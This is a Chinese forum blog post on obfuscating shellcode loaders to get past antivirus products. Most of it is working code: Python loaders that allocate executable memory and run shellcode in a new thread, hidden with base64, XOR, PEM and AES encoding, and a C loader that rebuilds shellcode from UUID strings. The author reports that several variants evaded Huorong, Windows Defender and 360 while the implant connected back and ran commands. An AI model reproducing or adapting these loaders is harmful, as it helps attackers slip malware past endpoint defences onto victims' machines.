代码混淆

Author:ILU

学的越多,才知道自己的渺小

前言

因为之前对代码或者shellcode的混淆都是用的xor或者base64, 所以今天打算梳理一下常用的加密的一些方式。在我看来有些加密方式很死板,特征明显,有些加密方式简单效果很好,所以其实没比要把shellcode和代码的混淆做的很复杂。

正题

python

base64模块

一个模块里面有很多的函数可以用,具体用法得看提示或者官方文档,这里举例常用的用法。base64模块一般来说我们会用其对代码做base64加密。首先来看下b64encode加密的源码。

从源码中我们可以看输出,base64模块对字节类型的对象做加密,也就是我们需要传入字节类型的数据才能够加密。并且base64加密调用的binascii这个模块,所以我们也可以用binascii对数据做base64加密。

用法
import base64

# base64模块中可用加密方式
__all__ = [
    # Legacy interface exports traditional RFC 2045 Base64 encodings
    'encode', 'decode', 'encodebytes', 'decodebytes',
    # Generalized interface for other encodings
    'b64encode', 'b64decode', 'b32encode', 'b32decode',
    'b16encode', 'b16decode',
    # Base85 and Ascii85 encodings
    'b85encode', 'b85decode', 'a85encode', 'a85decode',
    # Standard Base64 encoding
    'standard_b64encode', 'standard_b64decode',
    # Some common Base64 alternatives.  As referenced by RFC 3458, see thread
    # starting at:
    # http://zgp.org/pipermail/p2p-hackers/2001-September/000316.html
    'urlsafe_b64encode', 'urlsafe_b64decode',
    ]

# 加密
base64.b64encode(bytes)
# 解密
base64.b64decode(bytes

用上这个模块,我们对代码做混淆。

import ctypes

buf = b""
shellcode = bytearray(buf)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

我们对这个整个代码做base64加密并且shellcode不做特殊处理看免杀效果怎么样。这里shellcode和代码需要分开处理,因为两者数据类型不同一起解码,会出现问题。

import base64
import ctypes
# 加密
buf = base64.b64encode(b"")
code = base64.b64encode(b"""shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))""")

# 解密并执行
buf = base64.b64decode(b'')
code = base64.b64decode(b'c2hlbGxjb2RlID0gYnl0ZWFycmF5KGJ1ZikKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NApwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLCBjdHlwZXMuY19pbnQoMHg0MCkpCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksCiAgICBidWYsCiAgICBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpCikKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMuY191aW50NjQocHRyKSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksY3R5cGVzLmNfaW50KC0xKSk=').decode()
exec(code)

去除加密那段代码我们编译看看能否过杀软。

火绒编译没报毒,windows defender不报毒,360不报毒,丢给朋友检测核晶未报毒,且正常上线。但是360上线后报毒了,看来简单base64处理无法过360,多半是因为特征的原因,需要打组合拳绕过检测。

pycryptodome

PyCryptodome 是 PyCrypto 的一个分支。这是一个跟密码学相关的模块,可以实现各种加密方式的加解密。

官方文档:https://pycryptodome.readthedocs.io/en/latest/src/introduction.html

安装
pip install pycryptodome -i https://pypi.douban.com/simple
API
package Description
Crypto.Cipher 用于保护机密性的模块, 即用于加密和解密数据(例如:AES)。
Crypto.Signature 用于确保真实性的模块,即用于创建和验证消息的数字签名(例如:PKCS#1 v1.5)。
Crypto.Hash 用于创建加密摘要的模块 (例如:SHA-256)。
Crypto.PublicKey 用于生成、导出或导入公钥的模块 (例如:RSA 或 ECC)。
Crypto.Protocol 促进各方之间安全通信的模块,在大多数情况下,通过利用其他模块的密码原语(例如:Shamir 的秘密共享方案)。
Crypto.IO 处理通常用于加密数据的编码的模块(例如:PEM)
Crypto.Random 用于生成随机数据的模块。
Crypto.Util 通用例程(例如:字节字符串的 XOR)。
用法

由于这个模块的加密方式太多了,细节得自己去看官方文档和查询密码学相关知识再去利用(我基本上都会先看官方文档再去利用)。我这里就举几个例子,剩下的修行就看个人了。

Crypto.Util.strxor模块

官方文档:https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#crypto-util-strxor-module

Crypto.Util.strxor.strxor

字节字符串的快速异或。

Crypto.Util.strxor.strxor(term1, term2, output=None)

参数: 
term1 ( bytes/bytearray/memoryview )  XOR 操作的第一项。
term2 ( bytes/bytearray/memoryview )  XOR 操作的第二项。
output ( bytearray/memoryview )  必须写入结果的位置。如果None,则返回结果。
返回: 
如果output是None,则带有结果的新bytes字符串。否则None

温馨提示:用strxor的方式两个参数异或长度必须相同。

from Crypto.Util import strxor

buf = b"shellcode"
# buf长度:927
# 这里用c填充了长度
# 异或
buf = strxor.strxor(buf, ('c'*927).encode(), None)
# 还原
buf = strxor.strxor(buf, ('c'*927).encode(), None)
print(buf)
import ctypes
from Crypto.Util import strxor

# 异或后的shellcode
buf = b'复制到这里就好'
# 还原, 还原的参数自己改, 剩下的函数自己处理
shellcode = bytearray(strxor.strxor(buf, ('c'*927).encode(), None))
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行

handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
Crypto.Util.strxor.strxor_c

XOR 与重复的字符序列的字节字符串。

Crypto.Util.strxor.strxor_c(term, c, output=None)

参数: 
term ( bytes/bytearray/memoryview ) -- XOR 操作的第一项。
c ( bytes )  构成 XOR 运算第二项的字节。 取值范围:0 <= c < 256
output ( None或bytearray/memoryview ) -- 如果不是None,则存储结果的位置。
回报: 
如果output是None,则带有结果的新bytes字符串。否则None
buf = b""
# 异或
buf = strxor.strxor_c(buf, 100, None)
# 还原
shellcode = strxor.strxor_c(buf, 100, None)
# 异或后的shellcode
buf = b''
# 还原
shellcode = bytearray(strxor.strxor_c(buf, 100, None))
# 下面代码不变,需要处理的自行处理,不单单是shellcode可以做异或。
...
Crypto.IO.PEM

根据 PEM 格式封装数据的一组函数。

PEM(隐私增强邮件)是 IETF 标准,用于通过公钥基础设施保护电子邮件。它在 RFC 1421-1424 中指定。即使它已被放弃,它定义的简单消息封装今天仍然广泛用于将二进制加密对象(如密钥和证书)编码为文本。

Crypto.IO.PEM.encode & Crypto.IO.PEM.decode

将一段二进制数据编码为 PEM 格式。

Crypto.IO.PEM.encode(data, marker, passphrase=None, randfunc=None)

参数: 
data ( byte string ) -- 要编码的二进制数据。
marker ( string ) -- PEM 块的标记(例如“PUBLIC KEY”)。请注意,所有允许的标记都没有官方的主列表。不过,您可以参考OpenSSL源代码
passphrase ( byte string )  如果给定,PEM 块将被加密。密钥来自密码短语。
randfunc ( callable ) -- 随机数生成函数;它接受一个整数 N 并返回一个随机数据的字节串,N 字节长。如果没有给出,则实例化一个新的。

返回值:PEM 块,作为字符串。

Crypto.IO.PEM.decodepem_datapassphrase=None
 PEM 块解码为二进制。

参数: 
pem_data ( string )  PEM 块。
passphrase ( byte string )  如果给定并且 PEM 块已加密,则密钥将从密码中派生。
回报: 
包含二进制数据、标记字符串和布尔值的元组,用于指示是否执行了解密。

提高: 
ValueError 如果解码失败、PEM 文件已加密且未提供密码或密码不正确。
from Crypto.IO import PEM

buf = b""
# 加密
# passphrase:可以指定密钥
# marker:自己指定名称
buf = PEM.encode(buf, marker="shellcode", passphrase=None, randfunc=None)
# 解密
PEM.decode(buf, passphrase=None)
import ctypes
from Crypto.IO import PEM

# 加密后的shellcode
buf = """ """
# 解密
shellcode = bytearray(PEM.decode(buf, passphrase=None)[0])
...

这里我们在测试一下,用PEM对代码做加密是否能够过杀软。

import ctypes
from Crypto.IO import PEM

# 加密后的shellcode
buf = """ """
# 解密
shellcode = bytearray(PEM.decode(buf, passphrase=None)[0])
# print(PEM.encode(b"""ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
# ctypes.windll.kernel32.RtlMoveMemory(
#     ctypes.c_uint64(ptr),
#     buf,
#     ctypes.c_int(len(shellcode))
# )
# handle = ctypes.windll.kernel32.CreateThread(
#     ctypes.c_int(0),
#     ctypes.c_int(0),
#     ctypes.c_uint64(ptr),
#     ctypes.c_int(0),
#     ctypes.c_int(0),
#     ctypes.pointer(ctypes.c_int(0))
# )
# ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))""", marker="execcute code",
#                  passphrase=None, randfunc=None))
execCode = """-----BEGIN execcute code-----
Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0
eXBlcy5jX3VpbnQ2NApwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1
YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oc2hlbGxj
b2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLCBjdHlwZXMuY19pbnQoMHg0MCkp
CmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVm
ZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVt
b3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksCiAgICBidWYsCiAgICBjdHlw
ZXMuY19pbnQobGVuKHNoZWxsY29kZSkpCikKaGFuZGxlID0gY3R5cGVzLndpbmRs
bC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoCiAgICBjdHlwZXMuY19pbnQoMCksCiAg
ICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMuY191aW50NjQocHRyKSwKICAg
IGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBl
cy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQpjdHlwZXMud2luZGxsLmtlcm5l
bDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksY3R5
cGVzLmNfaW50KC0xKSk=
-----END execcute code-----"""
exec(PEM.decode(execCode, passphrase=None)[0].decode())

测试上线正常,开始编译。

编译未报毒,火绒不用测了,拉跨了,丢给虚拟机跑defender和360。

运行看看会不会报毒,因为上一个base64运行后报毒了。

No Problem!正常上线且可以执行指令,到此为止,简单的手法简单的过。这些操作应该是有手就行了把,也不需要哪些花里胡哨的东西。建议用go写这些玩意,py编译体积太大了。但是这个exe就有13mb。

Crypto.Cipher

Crypto.Cipher软件包包含用于保护数据机密性的算法。

加密算法分为三种:

  1. 对称密码:各方使用相同的密钥来解密和加密数据。对称密码通常非常快,可以处理大量数据。
  2. 非对称密码:发送者和接收者使用不同的密钥。发送者使用公钥(非秘密)加密,接收者使用私钥(秘密)解密。非对称密码通常非常慢,只能处理非常小的有效载荷。示例:PKCS#1 OAEP (RSA)
  3. 混合密码:上述两种密码可以组合在一个结构中,继承两者的优点。非对称密码用于保护短期对称密钥,而对称密码(在该密钥下)加密实际消息。

简单的演示一些把,思路在这里了,自己学习就好啦。

AES

AES (高级加密标准)是由NIST标准化的对称分组密码。它具有 16 字节的固定数据块大小。它的密钥长度可以是 128、192 或 256 位。

官方文档:https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html?highlight=AES

Crypto.Cipher.AES.new(key, mode, *args, **kwargs)
创建一个新的AES密码

参数: 
    key (bytes/bytearray/memoryview)  在对称密码中使用的密钥。它必须是 1624  32 字节长(分别为AES-128 , AES-192AES-256 )。仅此而已,它加倍为MODE_SIV3248  64 字节。
    mode(支持的MODE_*常量之一)– 用于加密或解密的链接模式。如有疑问,请使用MODE_EAX.
关键字参数:
    iv ( bytes , bytearray , memoryview )  (仅适用于MODE_CBC, MODE_CFB, MODE_OFB, andMODE_OPENPGP模式)。用于加密或解密的初始化向量。对于MODE_CBC, MODE_CFB,MODE_OFB它必须是 16 字节长。仅对于MODE_OPENPGP模式,它必须为 16 字节长用于加密和 18 字节用于解密(在后一种情况下,它实际上是加密的IV 前缀到密文)。如果未提供,则会生成一个随机字节字符串(然后您必须使用属性读取其值iv)。

​ 还有一些关键字参数自己看文档,太多了,对模式又要求。我们这里iv选择模式MODE_CBC,嫌麻烦可以选MODE_EAX。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

# 加密
buf = b""
# 随机生成16字节作为参数key
key = get_random_bytes(16)
# 指定16字节的iv
iv = b'0'*16
aes = AES.new(key, mode=AES.MODE_CBC,iv=iv)
shellcode = aes.encrypt(pad(buf, AES.block_size))
# 还原,因为需要key,所以可以用requests请求远程获取,或者本地写好
aes2 = AES.new(key, AES.MODE_CBC, iv=iv)
print(aes2.decrypt(shellcode))

获取key和shellcode

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
buf = b""
# 随机生成16字节作为参数key
key = get_random_bytes(16)
# 指定16字节的iv
iv = b'0'*16
aes = AES.new(key, mode=AES.MODE_CBC,iv=iv)
shellcode = aes.encrypt(pad(buf, AES.block_size))
print(key, shellcode)

执行shellcode

import ctypes
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

key = b''
iv = b'0'*16
aes_en = b''
aes = AES.new(key, AES.MODE_CBC, iv=iv)
shellcode = bytearray(aes.decrypt(aes_en))
...

一定要注意,解密的key和iv一定得是生成的时候的,否则没办法使用。

UUID

UUID(通用唯一标识符)是一个 128位值,用于唯一标识 Internet 上的对象或实体。根据所使用的具体机制,一个 UUID 要么保证是不同的,要么至少极有可能与公元 3400 年之前生成的任何其他 UUID 不同。

Windows API中UUID转换的API函数:

UuidFromString

​ UuidFromString 函数将字符串转换为 UUID。

Library: Use Rpcrt4.lib

RPC_STATUS RPC_ENTRY UuidFromString(   
    unsigned char *StringUuid,   // 指向 UUID 的字符串表示形式的指针。
    UUID *Uuid // 以二进制形式返回指向 UUID 的指针。
);

python模块中有专门转换UUID的模块,我们先写脚本把shellcode转为UUID。

"""
UUID(bytes_le='\x78\x56\x34\x12\x34\x12\x78\x56' + '\x12\x34\x56\x78\x12\x34\x56\x78')

UUID.bytes_le UUID 为 16 字节字符串(time_low、time_mid和time_hi_version 采用 little-endian 字节顺序)

计算机小段存储,所以我们使用bytes_le这个类型,每段长度为16字节,固定的。
"""
# 计算uuid
buf = b""
# 长度判断,不能被16整除就在尾部填充 \x00
while True:
    if len(buf)%16 == 0:
        break
    else:
        buf += b'\x00'
prefix = '{\n' 
Uuid = "" 
suffix = '}' 
for i in range(int(len(buf)/16)):     
    Uuid += f'"{UUID(bytes_le=buf[i * 16:16 + i * 16])}",\n' 
Uuid = prefix + Uuid + suffix 
print(Uuid)

测试了很久,也许是我py环境有问题,py造轮子没办法正常执行,我这里用C去调用。

#include <Windows.h>
#pragma comment(lib, "Rpcrt4.lib")

int main() {
    const char* uuid[] = {生成好的uuid放到这里}
    // 2. 申请堆空间
    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(uuid)*16, 0);
    LPVOID hHeapMemory = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(uuid)*16);
    DWORD_PTR hPtr = (DWORD_PTR)hHeapMemory;
    // 3. 把shellcode 写入堆空间
    // sizeof(uuid) / sizeof(uuid[0]) 计算数组长度,不明白的打印一下就知道了
    // hPtr记录写入地址,因为每次写入需要在原有基础上+16
    for (int i = 0; i < (sizeof(uuid) / sizeof(uuid[0])); i++) {
        UuidFromStringA((RPC_CSTR)uuid[i], (UUID*)hPtr);
        hPtr += 16;
    }
    // 4. 创建线程的方式调用shellcodeHANDLE 
    HANDLE hThread = CreateThread(
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE)hHeapMemory,
        NULL,
        NULL,
        0
    );
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    HeapFree(hHeap, HEAP_NO_SERIALIZE, hHeapMemory);

这里defender杀的也许不是UUID的,杀的是其他函数,用法就是这么用的就对了,至于怎么造轮子就看各位师傅自己的手法了。

本篇文章的内容就先到这里吧,不自觉留下了眼泪,不为别的只因为自己太菜了。

点击收藏 | 3 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖